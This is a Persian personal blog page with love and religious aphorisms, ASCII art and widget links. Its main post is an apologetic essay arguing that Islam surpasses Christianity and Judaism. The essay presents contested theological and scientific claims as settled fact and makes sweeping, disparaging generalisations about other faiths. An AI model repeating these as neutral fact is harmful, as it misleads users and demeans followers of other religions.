تبلیغات
فونت زیبا سازفونت زیبا ساز DoOoNyA - دین2
درباره وبلاگ

فونت زیبا ساز



√ بِسمـ ا... اَلرحمنـ الرحیمـ

وَإِن یَڪَادُ الَّذِینَ ڪَفَرُوا لَیُزْلِقُونَڪَ

بأَبْصَارِهِمْ لَمَّا سَمِعُوا الذِّڪْر

وَیَقُولُونَ إِنَّهُ لَمَجْنُونٌ

وَمَا هُوَ إِلَّا ذِڪْرٌ لِّلْعَالَمِین.

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

سلام.خوش اومدین...
نظر یادتون نره درضمن باتبادل لینک هم موافقم...

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
صدای خنده خدا را میشنوی؟؟؟!!
آرزوهایت راشنیده و به آنچه محال میپنداری میخندد!!!!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
وقتی کسی بهت گفت از ته دل دوستت دارم.
مواظب باش چون هنوزجایی در بالای قلبش برای دیگری وجود دارد.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
مــی دانـــی

اگـــر هنوز هم تورا آرزو می کنم

برای ِ بـی آرزو بودن ِ من نیستـــ !!

شــایـــــد

آرزویــی زیبـــاتــر از تـــ ــــو ســراغ ندارم ...!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

آنقدر به این روزگار بی اعتماد شده ام که میترسم هرگاه از شادی به هوا میپرم زمین را از زیر پایم بکشند.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

آدم ها فراموش نمیکنند ! فقط
دیگر "ساکت"میشوند!هـمـیــن

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

دلگیر نباش!
دلت که گیر باشد رها نمیشوی...

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

به درختان جنگل گفتم:شما بااین عظمت چرا از تکه آهنی به نام تبر میرنجید؟
گفتند:رنجش ما از تبر نیست ار دسته ی آن است که از جنس خودمان است.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

خدایا . . .
خواستم بگویم تنهایم
اما نگاه خندانت ، مرا شرمگین کرد
چه کسی بهتر از تــو ... !

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

از تصادف جان سالم به در برده بود و می گفت زندگی اش را مدیون ماشین مدل بالایش
است و خــــــــــــــــــــــــدا همچنان لبخند میزد. . . .

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
هر جا دلت شکست
خودت شکسته ها رو جمع کن !

تا هر ناکسی منت دست زخمیشو به رخت نکشه !!!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
کدام عاشقتر بودیم؟
من که
بخاطر عشق
دنیایم جهنم شد...!
... یا آدم که
بهشتش
دنیاشد...!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
بــیـچــاره دلـم! آن قــدر سـاده اسـت كـه اگـر صـدای شـرشــر بـاران بـشـنــودخــیــس مـــی شــود.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
بعضیا کاری باهات میکنن که یادآوری تمام لطف هایی که در حقشون کردی …
به شدت از خودت متنفرت میکنن !

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

وقتی یه بار ازدوست ضربه می خوری درست مثل این می مونه که با ماشین بهت زده و داغونت کرده ولی وقتی می بخشیش درست مثل این می مونه که بهش فرصت دادی تا دنده عقب بگیره و دوباره از روت رد بشه تا مطمئن بشه چیزی ازت نمونده .

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
زندگــــــــے وزن نگاهے اســــــــت
که בر خاطــــ ـره ها مے ماند
شاید این حســـــرت بیهـــــــوده که بر בل בارے
شعلــــﮧ گرمے امیــــــــــد تو را، خواهـــــــــد کشت
زندگے בرکــــــــ همیـــــــــن اکنون است
زندگے شـ ــوق رسیدن به همــــان
فردایــــــــے است، که نخواهـــــــــد آمد
تو نه בر دیـــروزے، و نه בر فردایــــــے
ظرفــــــــــ امروز، پر از بوבن توســـت
شاید این خــــــــنده که امروز، בریغــ ـش کردے
آخرین فرصت همراهے با، امیــــــــــــد است
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ
בﻧـﯿـﺎ ﺭﺍ ﻭﺍﺭﻭﻧـﻪ ﻣـے ﺧـﻮﺍﻫـﻢ…
ﺁבﻡ ﻫـﺎ ﺭﺍ..
اﺗـﻔـﺎﻕ ﻫـﺎ ﺭﺍ…
ﻧﺮﺳـﯿـבﻥ ﻫـﺎ…ﻧﺘـﻮﺍﻧـﺴـﺘـﻦ ﻫـﺎ…ﻧﺨـﻮﺍﺳـﺘـﻦ
ﻫـﺎ ﺭﺍ ﻧـﯿـﺰ…!
בﻟـﻢ ﻣـے ﺧـﻮﺍﻫـב…
ﺭﻭﯾـﺎﻫـﺎ ﺍﺯ ﺳـﺮ ﻭ ﮐـﻮﻝ ﻫـﻢ ﺑـﺎﻻ ﺑـﺮﻭﻧـב…
ﻣـﺮבﻣـﺎﻥ ﺑـﺨـﻨـבﻧـב ﺍﺯ ﺗـﻪ בﻝ…
ﻣـے ﺧـﻮﺍﻫـﻢ ﻫـﺮﮐـﺴـے בﺳـﺖ בﺭﺍﺯ ﮐـﻨـﺪ ﻭ…
ﺳـﺘـﺎﺭﻩ ﺧـﻮﺩﺵ ﺑـﭽـﯿـﻨـב ﺍﺯ ﺁﻥ ﺑـﺎﻻ…
ﻣـے ﺧـﻮﺍﻫـﻢ בﯾـﮕـﺮ ﺳـﺮ ﺑـﻪ ﺗـﻦ ﻫـﯿـﭻ ﻏـﺼّـﻪ ﺍے ﻧـﺒـﺎﺷـﺪ
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ
کوچک باش و عاشق…
که عشق خوב مےداند آیین بزرگ کرבنت را…
بگذار عشق خاصیت تو باشد ، نه رابطﮧ ے خاص تو با کسے…
زندگے شگفت انگیز است اگر لبخند بزنی…
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ

نگران فرבایت نباش، خـבاے בیروز و امروزت، فرבا هم هست...
خوشبختے نگاه خـבاست...

________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
__@@@@@@@@@@@@@@
__@@@@@@@@@@@@@@
___________________
_________@@@@@@@
_____@@@@@@@@@@@
___@@@@@______@@@@@
__@@@@@_________@@@@@
_@@@@@___________@@@@@
_@@@@@___________@@@@@
_@@@@@___________@@@@@
__@@@@@_________@@@@@
___@@@@@______@@@@@
______@@@@@@@@@@@
_________@@@@@@@
_____________________________
__@@@@@____________@@@@@
___@@@@@__________@@@@@
____@@@@@________@@@@@
_____@@@@@______@@@@@
______@@@@@____@@@@@
_______@@@@@__@@@@@
________@@@@@@@@@@
_________@@@@@@@@@
__________@@@@@@@@
___________@@@@@@@
____________@@@@@@
________________________
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@
_________________@@@@@
_________________@@@@@
_________________@@@@@
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@
_________________@@@@@
_________________@@@@@
_________________@@@@@
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@

مدیر وبلاگ : Mojtaba mohamadi
موضوعات
نویسندگان
جستجو

آمار وبلاگ
کل بازدید :
بازدید امروز :
بازدید دیروز :
بازدید این ماه :
بازدید ماه قبل :
تعداد نویسندگان :
تعداد کل پست ها :
آخرین بازدید :
آخرین بروز رسانی :
فونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا ساز
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

سایت عاشقانه

کد کج شدن تصویر

98love

98love

عاشقانه

عاشقانه

عاشقانه

کد آیکون

کد آیکون

کد آیکون

کد آیکون

script type='text/javascript' src='http://pIChaK.NEt/upper/jquery.min.js' >



دریافت کد پرواز حباب ها
فونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا ساز

icon-98love

icon-98love



icon-98love

DoOoNyA
زندگے בرک همان لبخندے است که به خوشبختے تو مے اندیشد....
چرا اسلام كامل ترین دین است؟ هر كس می گوید كه دین من كامل ترین دین است. ما مشاهده می كنیم كه همه ادیان یك خدا می پرستند چه اسلام، چه بودا، چه یهود و چه مسیحیت حتی آن بت پرست نیز به خدا معتقد است. حتی بت پرستان به آن بت یا در اصل خدای درون وجودشان اعتقاد دارند. پس این دین اسلام چه خصوصیات برجسته ای دارد كه آن را كاملترین دین می نامند؟

دین مبین اسلام در میان دیگر ادیان ویژگیهای ممتاز و منحصر به فردی دارد. بررسی جامع و گسترده این امتیازات در گرو بررسی‏های گسترده و فراخی است .در این مجال به اختصار پاره‏ای از آنها را می‏کاویم : امتیازات اسلام
1. خردپذیری و خردپروری
از امتیازات مهم اسلام، عقلانیت، خردپذیری و بالاتر از آن خردپروری آموزه‏های آن است. این مسئله در امور مختلفی نمودار است؛ از جمله:
1‌ـ1. نظام فكری و عقیدتی اسلام: (مانند خداشناسی، هستی‏شناسی، انسان‏شناسی، راهنماشناسی و فرجام‏شناسی)؛
2‌ـ1. نظام اخلاقی اسلام؛
3‌ـ1. نظام رفتاری و قوانین و دستورات عملی؛
4‌ـ1. دعوت به تحقیق و پرسشگری در انتخاب دین.
خردپذیری آموزه‏های اسلام، از چنان وضوح و روشنی برخوردار است كه قرآن مجید، آدمیان را به بررسی هوشمندانه و انتخاب خردمندانه دین دعوت كرده و هر گونه تحمیل و اجبار و پذیرش كوركورانه دین را نهی می‏كند: «فَبَشِّرْ عِبادِ الَّذِینَ یسْتَمِعُونَ الْقَوْلَ فَیتَّبِعُونَ أَحْسَنَهُ141؛ پس بشارت ده بندگانم را، آنان كه به سخنان گوش فرا داده و برترین را بر می‏گزینند» و «لا إِكْراهَ فِی الدِّینِ قَدْ تَبَینَ الرُّشْدُ مِنَ الْغَی»142؛ «هیچ‌گونه تحمیل و اجبار در امر دین روا نیست؛ به خوبی راه هدایت از ضلالت روشن شد». اما مسیحیت كنونی به علت قرار گرفتن در تنگناهای شدید معرفتی و ناتوانی در حل رابطه تثلیث و توحید و تجسد و خداانگاری مسیح، به جداسازی و گسست ایمان از معرفت فتوا داده و دین و ایمان را با عقل و خرد بیگانه ساخته است!143
پروفسور لگنهاوزن144 می‏گوید: «چیزی كه در اسلام بیش از همه، برای من جاذبه داشت، این بود كه چقدر این دین از پرسش‏های انسان استقبال می‏كند و همواره دعوت به تحقیقات بیشتر در تعالیم دین می‏كند».145
همو می‏گوید: «وقتی از كشیش‏ها می‏پرسیدم كه من نمی‏فهمم چه طور خدا یكی است و سه شخص است؟ در اكثر موارد جواب می‏گفتند كه ما نمی‏توانیم به درك این آموزه برسیم. تنها خدا می‏داند كه حقیقت این امر چیست. این رمزی است كه فقط خدا آن را می‏داند و عقل در اینجا به بن بست می‏رسد! از جمله چیزهایی كه برای بنده خیلی جالب بود، این بود كه در اسلام نگفته‏اند اصول دین را چشم و گوش بسته بپذیر؛ بلكه دعوت كرده‏اند كه بپرس. مخصوصاً این خصلت در میان شیعیان خیلی بیشتر است»146
خانم مارگریت ماركوس (مریم جمیله) نیز در این زمینه می‏نویسد: «پس از آنكه عقاید همه كیش‏های بزرگ را مورد بررسی قرار دادم، به این نتیجه رسیدم كه به طور كلی مذهب‏های بزرگ یكی بودند؛ ولی به مرور زمان فاسد شده‏اند. بت‏پرستی، فكر تناسخ و اصول طبقه‌بندی در كیش هندویی سرایت كرد. صلح‏جویی مطلق و انزوا از مشخصات كیش بودایی شد. پرستش آبا و اجداد جزء عقاید كنفسیوسی، عقیده اصالت گناه و تثلیث و در نتیجه آن مفهوم خدایی مسیح و شفاعت به استناد مرگ ادعایی عیسی بر روی دار در مسیحیت، انحصارطلبی ملت برگزیده یهود و... نتیجه این انحرافات است. هیچ یك از این اندیشه‏هایی كه مرا منزجر ساخته بود، در اسلام پیدا نمی‏شد؛ بلكه به صورت روزافزونی احساس می‏كردم كه تنها اسلام آن مذهب اصیلی است كه طهارت خود را حفظ كرده است. سایر مذهب‏ها فقط و فقط بعضی اجزای آن، مقرون با حقیقت است؛ ولی فقط اسلام است كه تمام حقیقت را حفظ كرده است»147
2ـ اسلام و علم
به رغم آنچه در تعارض و ناسازگاری مسیحیت با علم و معرفت بیان شد، دین اسلام با دانش و معرفت، پیوندی نزدیك و ناگسستنی دارد. وفاق و آشتی دین و دانش در اسلام در سه حوزه چشمگیر و در خور توجه است:
یك) تشویق به فراگیری دانش
در این عرصه اسلام گوی سبقت از هر مكتب و آئینی را ربوده است و از این هم فراتر رفته و كسب دانش‏های لازم در جهت تأمین نیازمندی‏های دنیوی و اخروی را ضروری دانسته است؛ چنان كه پیامبر اكرم(‏ص) فرمود: «ان طلب العلم فریضة علی كل مسلم؛148 همانا علم آموزی بر هر مسلمانی واجب است.»
و نیز آمده است: عالمی كه از دانش او بهره برند از هفتاد هزار عابد برتر است.149 در كتاب‏های روایی و نصوص دینی ابواب مفصلی در این زمینه وجود دارد.150
دو) تقویت روحیه علمی:
اسلام روحیه پژوهشگری را ارج می‏نهد و در مسیر حقیقت‏یابی و معرفت اندوزی هیچ مانعی نمی‌نهد. قرآن مجید آوای تحقیق و جست‌وجوی آزاد و گزینش رهاورد معقول پژوهش را صلا داده و فرموده است: «بشارت ده بندگانی را كه به سخنان گوش فرا داده و برترین آنها را برمی‏گزینند.»151
سه) دارا بودن مضامین علمی:
نصوص دینی اسلام آكنده از مضامین و مطالب علمی است. در این عرصه اسلام هم در بردارنده مبانی و پیش‌فرض‏های عام و متافیزیكی علوم است و هم دارنده بسیاری از گزاره‏های علمی، به گونه‏ای كه یكی از وجوه اعجاز كتاب آسمانی اسلام اعجاز علمی آن شناخته شده تا آنجا كه دانشمندان مسلمان و غیر مسلمان صدها كتاب در باب رهاوردهای علمی قرآن به نگارش درآورده‏اند.
از جهت سازگاری با علم و دانش بشری نیز اسلام كارنامه درخشانی دارد. موریس بوكای،152 دانشمند فرانسوی، به دو امتیاز اساسی در این رابطه اشاره می‏كند:
1‌ـ غنای فراوان قرآن در حوزه مسائل علمی؛ در حالی كه عهد قدیم (تورات) و عهد جدید (انجیل) نسبت به بسیاری از آنها ساكت و فاقد اطلاعات و داده‏های مشخصی هستند.153
2‌ـ استواری و توافق داده‏های قرآن با دستاوردهای متقن و معتبر علوم روز؛ در حالی كه عهد عتیق و اناجیل به تعارضات آشتی‌ناپذیری در این زمینه مبتلا هستند. بوكای می‏نویسد: «من بدون سبق ذهن و با عینیت كامل، ابتدا به قرآن توجه كردم و خواستم درجه سازگاری این متن را با معلومات علمی امروز بسنجم... در پایان كار بر من مسلّم شد كه قرآن، به ایجاب و اثبات هیچ مطلبی نمی‏پردازد كه در این دوره معاصر، بتوان آن را از نظر گاه علمی محل انتقاد و تردید قرار داد.
براساس همین روش عینی، عهد عتیق و اناجیل را نیز مطالعه كردم. در مورد عهد عتیق به هیچ وجه نیازی نبود كه پا را از كتاب نخست آن؛ یعنی، سفر تكوین (پیدایش) فراتر بگذارم، تا به تأكیداتی آشتی‏ناپذیر، با معلومات متقن علمی این روزگار برخورد كنم!
در همان صفحه اول انجیل نیز، شجره و نسب عیسی‏(علیه‏السلام) ما را دچار اشكال می‏كند؛ زیرا در این باب متن انجیل متی با متن انجیل لوقا آشكارا در تناقض است. درباره تاریخ ظهور بشر بر روی زمین نیز مطالب انجیل لوقا با معارف امروزی كاملاً ناسازگار است».154
البته اسلام در این باره، امتیاز اساسی دیگری نیز بر مسیحیت دارد و آن نوع نگاه اسلام به علم و دانش است. اسلام دینی است كه به گسست‌ناپذیری علم، عقل، ایمان، معرفت و رستگاری فتوا می‏دهد.155 اما به اعتقاد رسمی مسیحیت شجره ممنوعه ‌ـ كه آدم و حوا به جرم خوردن آن از بهشت رانده شدند و به تبع آن همه انسان‏ها مورد خشم الهی قرار گرفته و گنهكار شدند ‌ـ چیزی جز شجره معرفت و دانش نیك و بد نبوده است: «پس گرفته خداوند پروردگار آدم را در بهشت عدن قرار داد تا او را رستگار و مورد عنایت خود سازد و آدم را امر نموده، چنین گفت: آنچه از درختان خواهی بخور؛ اما مبادا كه از درخت معرفت نیك و بد بخوری كه هر گاه از آن بخوری خواهی مرد».156
در باب سوم می‏گوید: خداوند پس از تخلف آدم چنین گفت: «اكنون انسان مانند یكی از ما شده كه نیك و بد را تمیز می‏دهد و اكنون است كه دست دراز كند و از درخت حیات نیز بخورد و تا ابد زنده بماند؛ پس او را از بهشت عدن بیرون كرد...».157
بر اساس این آموزه، جست‌وجوی دانش و معرفت در تعارض با رستگاری و خلود انسان در بهشت است. به عبارت دیگر، چنین وانمود می‏كند كه یا باید رستگاری در بهشت را برگزید و یا در جست‌وجوی دانش و معرفت برآمد. پس آنكه بهشت و رستگاری می‏خواهد، باید از پیمودن طریق دانش و معرفت فاصله گیرد و آنكه دانش و معرفت می‏جوید، باید بهای سنگین خروج از بهشت و سعادت جاودان را بپردازد!
استاد مطهری در این باره می‏نویسد: «بر اساس این برداشت همه وسوسه‏ها، وسوسه آگهی است؛ پس شیطان وسوسه‏گر همان عقل است»158.

3ـ كتاب معصوم الهی
یكی از مهم‏ترین امتیازات اسلام بر دیگر ادیان، «كتاب آسمانی» آن است. قرآن‏مجید، از چند جهت بر كتاب‏های دیگر ادیان امتیاز دارد. برخی از این جهات عبارت است از:
1‌ـ3ـ كلام الهی؛ قرآن مجید كتابی است كه تماماً از سوی خداوند، بر پیامبر(ص) نازل شده و تمام الفاظ و كلمات به كار رفته در آن، عیناً كلام الهی است. به دیگر سخن، اسلام تنها دینی است كه مستقیماً كلام خدا را در دسترس بشر قرار می‏دهد و انسان را با سخن او آشنا می‏سازد؛ در حالی كه دیگر ادیان، از چنین امر مهمی تهی بوده و حتی ادعای آن را ندارند.
دكتر موریس بوكای می‏نویسد: «فرق اساسی دیگر میان مسیحیت و اسلام ‌ـ در مورد كتاب‏های مقدس ‌ـ این است كه مسیحیت متنی ندارد كه از طریق وحی نازل شده و تثبیت گردیده باشد؛ اما اسلام قرآن را دارد كه با ضابطه بالا می‏خواند.
قرآن بیان و گزاره وحیانی است كه از طریق جبرئیل به محمد(ص) رسیده است. بر خلاف اسلام، اصول مذهبی مبتنی بر وحی در مسیحیت، بر پایه گواهی‏های متعدد و غیر مستقیم افراد انسانی استوار است و بر خلاف تصور بسیاری از مسیحیان، هیچ‌گونه قولی در دست نیست كه واسطه نقل آن، یك شاهد عینی زندگانی عیسی(علیه‏السلام) باشد»159.
توماس میشل ‌ـ استاد الهیات و كشیش مسیحی ‌ـ می‏نویسد: بر خلاف قرآن، كتاب مقدس مجموعه‏ای بین 66 تا 73 كتاب است كه در طول 1500 سال تألیف شده و شمار بزرگی از مؤلفان ‌ـ كه تاریخ نام بسیاری از آنها را فراموش كرده ‌ـ برای تهیه آن به عملیات پیچیده‏ای پرداخته‏اند.
او همچنین می‏گوید: «اصولاً مسیحیان نمی‏گویند خدا كتاب‏های مقدس را بر مؤلفان بشری املا كرده است؛ بلكه معتقدند او به ایشان برای بیان پیام الهی به شیوه خاص خودشان و همراه با نگارش مخصوص و سبك نویسندگی ویژه هر یك، توفیق داده است».160
میشل اشاره می‏كند كه نویسندگان كتاب‏های مقدس، معصوم نبوده و دچار محدودیت‏های علمی و تنگناهای زبانی بوده و به رنگ زمان خود در آمده بودند و لاجرم خطاهایی نیز در كتاب مقدس به یادگار نهاده‏اند: «گاهی این نویسنده بشری، نظریات غلط یا اطلاعات اشتباه‏آمیزی دارد كه اثر آن در متن كتاب باقی می‏ماند»161.
رابرت ا. هیوم نیز می‏نویسد: «اسلام، از این جهت كه متن مقدس آن صریحاً وحی خداوندی به یك فرد خاص ‌ـ بنیانگذار این دین ‌ـ است، در میان همه ادیان جهان منحصر به فرد است. در قرآن سخنگوی اصلی خداست...»162.
2‌ـ3ـ تحریف‌ناپذیری؛ قرآن كتابی است تحریف‏ناپذیر كه همواره اصالت و عصمت خود را در طی قرون حفظ و دست بشر را از دستبرد تحریف كوتاه كرده است؛ در حالی كه هیچ یك از ادیان موجود، از این ویژگی برخوردار نیست. «عصمت» امری افزون بر اصل الهی بودن پیام قرآن است و برای آن می‏توان مراحل زیر را ذكر كرد:
1‌ـ2‌ـ3ـ عصمت از ناحیه نازل كننده (خداوند)؛163
2‌ـ2‌ـ3ـ عصمت از ناحیه حاملان وحی و فرشتگان رساننده به پیامبر(ص) ؛164
3‌ـ2‌ـ3ـ عصمت در دریافت وحی از سوی پیامبر(ص)؛165
4‌ـ2‌ـ3ـ عصمت در ابلاغ وحی به مردم از سوی پیامبر(ص)؛166
5‌ـ2‌ـ3ـ عصمت در بقا و استمرار تاریخی وحی در میان بشر تا پایان تاریخ.167
به اعتقاد مسلمانان، كتاب‏های آسمانی نازل شده بر پیامبران پیشین نیز از نظر عصمت در چهار مرحله نخست با قرآن مجید همتا و همپا‏ هستند؛168 لیكن مرحله پنجم عصمت (تحریف‏ناپذیری ابدی در میان مردم) از اختصاصات قرآن است.
3‌ـ3ـ معجزه جاوید و سند رسالت؛ پیامبران برای اثبات رسالت خود، معجزه آورده‏اند؛ لیكن كتاب آسمانی آنها، غیر از معجزه و سند رسالتشان بوده است. اما قرآن خود معجزه است؛ یعنی هم كتاب رسالت است و هم برهان صدق آن. از طرف دیگر این كتاب معجزه‏ای جاودان و باقی و سندی زنده بر رسالت است كه قرن‏ها و عصرها را در می‏نوردد و همگان را به تحدّی می‏طلبد. در حالی كه معجزات پیامبران پیشین، فقط نزد حاضرین مشهود بوده و اثری از آن باقی نیست و جوامع بشری از مشاهده آن محرومند.169
افزون بر آن كتاب آسمانی اسلام، امتیازات بیشماری از جهت محتوایی دارد كه بررسی آنها مجالی فراخ‏تر می‏طلبد.
4ـ جامع بودن
از دیگر ویژگی‏های اسلام در برابر دیگر ادیان، جامع بودن آن است. اسلام برنامه تكاملی بشر تا پایان تاریخ را به ارمغان آورده است. جان دیون پورت می‏نویسد: «... قرآن مطابق تحقیقات كومب با انجیل فرق دارد؛ زیرا انجیل دارای مكتب و روش فقاهتی نیست؛ بلكه به طور كلی محتویات آن مركب است از قصص و روایات و بیانات تحریض و ترغیب بشر در نشر عواطف و احساسات عالی و فداكاری و... ولی هیچ نوع عامل و رابطه منطقی جالب و جاذبی كه این معانی را با یكدیگر ربط دهد، در انجیل وجود ندارد. از این گذشته قرآن مانند اناجیل نیست كه فقط به عنوان میزان و شاخصی درباره عقاید دینی و عبادت و عمل درباره آن شناخته شده است؛ بلكه دارای مكتب و روش سیاسی نیز هست؛ زیرا تخت و تاج یا به تعبیر دیگر اساس دستگاه و سازمان سیاسی، روی این شالوده ریخته شده و هر نوع قانونی برای اداره امور كشور، از این منبع گرفته می‏شود. و بالاخره كلیه مسائل حیاتی و مالی با اجازه همین منبع و مصدر قانون‏گذاری، حل می‏شود.170 و171
5ـ نظام حقوقی اسلام
از جمله امتیازات انحصاری اسلام بر دیگر ادیان، نظام حقوقی اصیل آن است. این مسئله بسیاری از اندیشمندان غرب را به تحسین و اعجاب وا داشته است. اگر چه این مسئله در ذیل نظام رفتاری و بحث از «جامعیت اسلام» قابل بررسی است، لیكن به جهت اهمیت ویژه‏ای كه دارد به طور مستقل مورد بررسی قرار می‏گیرد. اولین نكته قابل توجه، نقش بی‏بدیل اسلام در بنیان‏گذاری و توسعه حقوق بین الملل است.
مارسل بوازار172 پژوهشگر انستیتوی تحقیقات عالی حقوق بین‏الملل در ژنو، می‏نویسد: «در قرون وسطی هر وقت ركودی در قوانین مسیحیت روی می‏داد صاحب نظران از حقوق اسلامی استفاده می‏كردند. در قرن سیزده میلادی در چند دانشگاه اروپا، مبانی فقه اسلامی مورد پژوهش قرار گرفت. اگر فلسفه تأسیس دانش حقوق بین‏الملل را دگرگونی در روابط ملت‏ها و جلوگیری از تجاوز زورمندان و توانگران و برابری و برادری انسان‏ها بدانیم؛ باید اذعان كنیم كه پیغمبر اسلام‏صلی الله علیه وآله بنیانگذار حقوق بین‏الملل بوده است».173
اصول حقوق بشر در اسلام
حقوق بشر و یا حقوق بین الملل اسلامی دارای اصولی چند است؛ از جمله:
1. اصل حرمت و كرامت انسان؛
2. اصل عدالت، برابری و نفی تبعیض؛
3. اصل صلح و همزیستی مسالمت‏آمیز؛
4. اصل وفای به عهد؛
5. اصل تفاهم و رواداری؛
6. اصل مشاركت و همكاری‏های بین‏المللی؛
7. اصل حمایت از ملل تحت ستم و...174.
اصول یاد شده در نگاه اندیشمندان غربی، مورد توجه قرار گرفته است. مارسل بوازار در مورد اصول همزیستی مسالمت‏آمیز و تفاهم می‏نویسد: «در مورد پیروان ادیان الهی باید گفت اصولاً اسلام، آنها را مورد حمایت خود قرار داده و امنیت كاملی در جامعه اسلامی دارند. آنان می‏توانند طبق دستورات دینی خود آزادانه عمل كنند، به خصوص كه در قرآن نیز رعایت حقوق آنان توصیه شده است. این تساهل دینی در مسیحیت و یهود، مطلقاً وجود نداشته و به ویژه پیروان دین یهود، ناگزیر از انجام فریضه‏های بسیار سخت و توان فرسا بوده‏اند»175.
وی می‏نویسد: «در دیانت یهود، برتری نژادی وجود دارد و در برادری مسیحیت، رابطه الهی بر جنبه‏های عملی آن در زندگی اجتماعی غلبه یافته و در شرایط امروز قابل اجرا نیست. اما در دیانت اسلام این افراط و تفریط به چشم نمی‏خورد... این تفكر كه از قرآن نشأت می‏یابد، به دیانت اسلام سودای جهانشمولی می‏بخشد. اسلام به دنبال ساختن جهانی است كه همه مردم ‌ـ حتی آنان كه به دین سابق خویش وفادار مانده‏اند ‌ـ با تفاهم، همكاری، برادری و برابری كامل زندگی كنند».176 و 177
6ـ خاتمیت
اسلام دین خاتم است و این خاتمیت، اركان و لوازمی دارد؛ از جمله:
1‌ـ6. نسخ شرایع پیشین؛ هر پیامبری كه شریعتی به ارمغان آوَرْد، شریعت پیشین را نسخ كرد و اسلام ‌ـ به عنوان آخرین شریعت و برنامه كامل سعادت بشر از سوی خداوند ‌ـ ناسخ همه شریعت‏های پیشین است.
2‌ـ6. نسخ ناپذیری؛ دین و شریعت اسلامی به لحاظ خاتم بودنش، از پایایی و ماندگاری برخوردار است. این دین هرگز نسخ نخواهد شد و شریعت دیگری جایگزین آن نمی‏شود.
3‌ـ5. همگانی بودن؛ لازمه ناسخ بودن و پویایی اسلام، آن است كه این دین، بدیل‏ناپذیر، همگانی و یگانه پرچمدار دعوت به سوی توحید و وحدت بخش همه آدمیان تحت لوای توحید و یگانه شریعت و قانون سعادت‏آفرینِ خداوند باشد. ویژگی‏های دیگری نیز در باب جاذبه‏های اسلام و امتیازات معارف آن وجود دارد كه به جهت اختصار از ذكر آنها خودداری می‏شود.
7ـ نفی نیست انگاری178
یكی از امتیازات اساسی اسلام، در برابر برخی از دیگر ادیان به ویژه مسیحیت، پیراستگی آن از درون‏مایه‏های نیست انگارانه و نفی زمینه گرایش به نیهیلیسم179 (نیست انگاری) است. به تعبیر پروفسور فلاطوری، در اسلام عنصری یافت نمی‏شود كه بهانه به دست نیست انگاری چون نیچه180 دهد تا در این حوزه فرهنگی، حكم به نیست انگاری كند. توضیح اینكه نیچه؛ نیهیلیسم را مفهومی دو پهلو می‏داند كه یكی از وجوه آن نیست انگاری به معنای قدرت روح و به تعبیر وی «نیهیلیسم فعال» است و دیگری نیست انگاری به معنای سقوط و زوال قدرت روح (نیهیلیسم منفعل)181. نیست انگاری منفعل، از تباه شدن قوه خلاّقه و از بی‏هدفی و آنچه معنای حیات و ارزش‏های واقعی را تشكیل می‏دهد، ناشی می‏شود182.
نیهیلیسم فعال، بر ملا كننده بیهودگی مطلق و به تعبیر دیگر افشاگر نیهیلیسم منفعل است. نیست انگاری منفعل، به گذشته فرهنگ مغرب زمین تعلق دارد و بنیاد آن از نظر نیچه، تصور متافیزیكی افلاطونی و باور دینی مسیحیت است. عمده‏ترین عنصر مسیحی ‌ـ افلاطونی مورد توجه وی، نگاه منفی به جهانی است كه ما در آن زندگی می‏كنیم. باور افلاطونی و ایمان مسیحی، این جهان را كه ما در آن زندگی می‏كنیم، جهانی خیالی و ساختگی، غیر واقعی و دروغین و بد و زشت می‏پندارد183. او مسیحیت را مذهبی نیست‏انگارانه می‏خواند184 و می‏گوید: آری، نیست‏انگاری و مسیحیت هم قافیه‏اند و نه تنها هم قافیه كه برازنده هم هستند.185
در مقابل، دو عنصر اساسی در تعالیم اسلامی وجود دارد كه راه را بر بسیاری از انتقادات وارد بر مسیحیت و یهودیت ‌ـ از جمله این نگرش نیچه ‌ـ می‏بندد. آن دو عنصر عبارت است از: 1. یكتا پرستی مطلق كه مضمون و محتوای اصلی ایمان دینی اسلام را تشكیل می‏دهد. 2. نگرش مثبت به جهان به عنوان اصل و مبنای حیات.
در این نگرش، پیامبر، دارای ذات و قلمروی الهی ‌ـ به معنای قلمروی حقیقی و واقعی كه در برابر جهان غیر واقعی و در مقابل جهان ظاهر قرار گرفته است186 ‌ـ نمی‏باشد. در دین اسلام بین جهان بود و نُمود، انفصال نیست و جهان نمود، به اندازه جهان بود، واقعی است. بنابراین تعالیم اسلام بهانه به دست كسی نمی‏دهد تا بر آن انگ نیست انگاری زند و همین مسئله باعث می‏شود كه نیچه نیز در ضمن نفی مسیحیت ‌ـ به عنوان مذهبی نیست‏انگارانه كه حیات را نابود می‏سازد و علم و فرهنگ را به تباهی می‏كشاند ‌ـ از اسلام تعریف و تمجید كند.
